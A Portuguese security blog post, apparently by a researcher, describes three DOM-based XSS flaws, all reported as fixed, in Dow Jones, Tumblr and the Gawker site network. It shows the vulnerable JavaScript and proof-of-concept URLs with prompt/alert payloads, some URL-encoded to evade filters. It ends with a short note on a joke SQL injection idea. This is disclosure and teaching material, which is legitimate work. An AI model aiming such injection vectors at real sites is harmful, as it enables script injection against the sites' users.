Todos os posts tagados gizmodo

DOM XSS – Parte 2

mashable_xss

Após a introdução ao DOM XSS – Parte 1[1], vou demonstrar três exemplos práticos que descobri nos últimos tempos.
É importante salientar que todos estes exemplos foram corrigidos por parte das entidades visadas neste artigo.

Dowjones.com [fonte: document.referrer]

A Dow Jones é uma das mais importantes editoras financeiras internacionais, situada nos Estados Unidos.
Em janeiro do ano passado, eu encontrei algumas falhas de segurança no script Eloqua, agora propriedade da Oracle. Após inúmeras tentativas de contato, decidi verificar quais os sites que corriam este script.

O primeiro que encontrei foi o DowJones.com.

Vejamos o código:

if (document.referrer)
	{
	elqRef2 = document.referrer;
	}
if (navigator.appName == 'Netscape' || navigator.userAgent.indexOf("Opera")!=-1)
	{
	document.write('<la' + 'yer hidden=true><im' + 'g src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 ><\/la' + 'yer>');
	}
else
	{
	document.write('<im' + 'g style="display:none" src="' + elqCurE + '?pps=3&siteid=' + elqSiteID + '&ref2=' + elqRef2 + '&tzo=' + elqTzo + '&ms=' + elqMs + '" border=0 width=1 height=1 >');
	}

Como podemos verificar, a variável elqRef2 fica com o valor do document.referrer sem qualquer filtro. Ou seja, podemos injetar código HTML nesta propriedade que ele vai escrever no browser (via document.write) sem qualquer bloqueio.

Dado que a maioria dos browsers atuais filtram determinados caracteres no referrer, apenas é explorável no Internet Explorer[2].
Com esta situação, podemos considerar dois vetores a explorar.

1. Criar o link manipulado numa página isco:

http://site-qualquer-que-nao-existe.pt/?"><img src=x onerror=prompt(1);><!--

O site-qualquer-que-nao-existe.pt vai ter o link para o dowjones.com. Quando alguém clicar no link, irá ser encaminhado para o dowjones.com e o vetor DOM XSS irá ser executado no browser da vítima.

2. A vítima já tem o vetor no link

http://www.dowjones.com/?"><h1>XSS</h1><!--

Ou ofuscado

http://www.dowjones.com/%3F%22%3E%3Ch1%3EXSS%3C%2Fh1%3E%3C!--

Quando a vítima, clica noutra página interna do site, o código arbitrário do vetor DOM XSS é executado.

downjones

Tumblr [fonte: location.hash]

Tumblr é uma plataforma de blogging da Yahoo! que tem milhões e milhões de utilizadores.
Tudo começou quando no Google Inspector, reparei que havia um pedido num IFRAME com a variável name:

http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide

Este IFRAME era carregado no ficheiro http://assets.tumblr.com/assets/scripts/tumblelog_iframe.js.
Achei curioso procurar no código onde era validado o parametro name, até que me deparei com o seguinte código:

if (v) {
v.innerHTML = decodeURIComponent(e.get.name)
}
document.getElementById("name").innerHTML = r;
document.getElementById("title").innerHTML = decodeURIComponent(x).replace(/\+/g, " ");

Os campos name e title encontram-se inseguros e podemos injetar código em qualquer um deles.

http://assets.tumblr.com/assets/html/iframe/o.html?_v=0e885d75acad691664be152f8a0af5b0#src=http%3A%2F%2Fstatus.soundcloud.com%2Fpost%2F55089207412%2Fmaintenance-tomorrow-morning&pid=55089207412&rk=Obe5imR3&lang=en_US&name=soundcloudstatus%3Cimg%20src=x%20onerror=prompt%281%29;%3E&avatar=http%3A%2F%2F24.media.tumblr.com%2Favatar_d06f17cd8eb4_64.png&title=SoundCloud+Status&url=http%3A%2F%2Fstatus.soundcloud.com%2F&page_slide=slide

tumblr_xss

Embora o Tumblr tenha corrigido esta falha, demorou cerca de 2 meses para fazê-lo e não recebi qualquer tipo de feedback por parte da equipa técnica.

Lifehacker e Gizmodo [fonte: location.hash]

Da mesma forma que analisei no Tumblr, o Google Inspector pode ser o nosso melhor amigo.
Um pedido HTTP no Gizmodo ao ficheiro ad_iframe.html chamou-me particularmente a atenção. No seu código-fonte verifiquei o seguinte:

var location_parts = window.location.hash.substring(1).split('|');
var rand = location_parts[0];
var scriptsrc = decodeURIComponent(location_parts[1]);
document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");

Como podemos verificar, a variável scriptsrc é preenchida com o valor do location.hash que por sua vez não é filtrada corretamente. Como existe um split com o carater pipe, necessitamos de associar o mesmo ao vetor DOM XSS.

http://gizmodo.com/assets/ad_iframe.html#|'></script><script>alert("xss by @dsopas");</script><div x='

Ou se preferirem, ofuscado:

http://gizmodo.com/assets/ad_iframe.html#|'>%3C%2F%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%20%62%79%20%40%64%73%6F%70%61%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E%3C%64%69%76%20%78%3D%27

gizmodo_xss

Mais tarde vi a descobrir que toda a rede de sites Gawker era afetada.

http://gawker.com/assets/ad_iframe.html
http://gizmodo.com/assets/ad_iframe.html
http://lifehacker.com/assets/ad_iframe.html
http://deadspin.com/assets/ad_iframe.html
http://io9.com/assets/ad_iframe.html
http://jalopnik.com/assets/ad_iframe.html
http://jezebel.com/assets/ad_iframe.html
http://kotaku.com/assets/ad_iframe.html

Em menos de 2 horas a equipa técnica resolveu esta situação.

Espero que com estes três exemplos em sites bem populares, tenha demonstrado a importância de verificar o código Javascript nas aplicações web.

Para terminar gostaria de referir que a empresa de segurança Acunetix, no seu artigo The Chronicles of DOM-based XSS[3], mencionou algumas destas e outras falhas.

Na parte 3 irei utilizar uma ferramenta que auxilia a pesquisa por DOM XSS duma forma mais rápida e precisa.

Até lá!

Referências:
[1] http://www.websegura.net/dom-xss-parte-1/
[2] http://blog.mindedsecurity.com/2011/03/abusing-referrer-on-explorer-for.html
[3] http://www.acunetix.com/blog/articles/chronicles-dom-based-xss/

Uma ideia original para usar SQL Injection

O meu amigo Ricardo enviou-me um link do Gizmodo de um possível uso de ataques  SQL Injection nos radares da polícia.

Muito engraçado!